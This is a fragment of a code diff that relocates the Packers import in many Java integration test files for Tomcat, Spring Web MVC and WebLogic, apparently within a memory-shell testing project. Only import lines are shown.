import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
|||||||
+1
-1
@@ -1,10 +1,10 @@
|
|||||||
package com.reajason.javaweb.integration.springwebmvc;
|
package com.reajason.javaweb.integration.springwebmvc;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
|||||||
+1
-1
@@ -1,10 +1,10 @@
|
|||||||
package com.reajason.javaweb.integration.springwebmvc;
|
package com.reajason.javaweb.integration.springwebmvc;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
|||||||
+1
-1
@@ -1,10 +1,10 @@
|
|||||||
package com.reajason.javaweb.integration.springwebmvc;
|
package com.reajason.javaweb.integration.springwebmvc;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
|||||||
+1
-1
@@ -1,10 +1,10 @@
|
|||||||
package com.reajason.javaweb.integration.springwebmvc;
|
package com.reajason.javaweb.integration.springwebmvc;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
|||||||
+1
-1
@@ -1,10 +1,10 @@
|
|||||||
package com.reajason.javaweb.integration.tomcat;
|
package com.reajason.javaweb.integration.tomcat;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
|||||||
+1
-1
@@ -1,10 +1,10 @@
|
|||||||
package com.reajason.javaweb.integration.tomcat;
|
package com.reajason.javaweb.integration.tomcat;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
|||||||
+1
-1
@@ -1,10 +1,10 @@
|
|||||||
package com.reajason.javaweb.integration.tomcat;
|
package com.reajason.javaweb.integration.tomcat;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
|||||||
+1
-1
@@ -1,10 +1,10 @@
|
|||||||
package com.reajason.javaweb.integration.tomcat;
|
package com.reajason.javaweb.integration.tomcat;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
|||||||
+1
-1
@@ -1,10 +1,10 @@
|
|||||||
package com.reajason.javaweb.integration.tomcat;
|
package com.reajason.javaweb.integration.tomcat;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
|||||||
+1
-1
@@ -1,10 +1,10 @@
|
|||||||
package com.reajason.javaweb.integration.tomcat;
|
package com.reajason.javaweb.integration.tomcat;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
|||||||
+1
-1
@@ -1,13 +1,13 @@
|
|||||||
package com.reajason.javaweb.integration.tomcat;
|
package com.reajason.javaweb.integration.tomcat;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.ShellAssertionTool;
|
import com.reajason.javaweb.integration.ShellAssertionTool;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
|||||||
+1
-1
@@ -1,10 +1,10 @@
|
|||||||
package com.reajason.javaweb.integration.tomcat;
|
package com.reajason.javaweb.integration.tomcat;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
|||||||
+1
-1
@@ -1,9 +1,9 @@
|
|||||||
package com.reajason.javaweb.integration.tomcat;
|
package com.reajason.javaweb.integration.tomcat;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
|||||||
+1
-1
@@ -1,9 +1,9 @@
|
|||||||
package com.reajason.javaweb.integration.tomcat;
|
package com.reajason.javaweb.integration.tomcat;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
|||||||
+1
-1
@@ -1,10 +1,10 @@
|
|||||||
package com.reajason.javaweb.integration.tomcat;
|
package com.reajason.javaweb.integration.tomcat;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
|||||||
+1
-2
@@ -1,10 +1,10 @@
|
|||||||
package com.reajason.javaweb.integration.weblogic;
|
package com.reajason.javaweb.integration.weblogic;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
@@ -17,7 +17,6 @@ import org.testcontainers.containers.wait.strategy.Wait;
|
|||||||
import org.testcontainers.images.builder.ImageFromDockerfile;
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
import org.testcontainers.shaded.org.apache.commons.lang3.tuple.Triple;
|
|
||||||
|
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.stream.Stream;
|
import java.util.stream.Stream;
|
||||||
|
|||||||
+1
-1
@@ -1,10 +1,10 @@
|
|||||||
package com.reajason.javaweb.integration.weblogic;
|
package com.reajason.javaweb.integration.weblogic;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
|||||||
+1
-1
@@ -1,10 +1,10 @@
|
|||||||
package com.reajason.javaweb.integration.weblogic;
|
package com.reajason.javaweb.integration.weblogic;
|
||||||
|
|
||||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
|||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user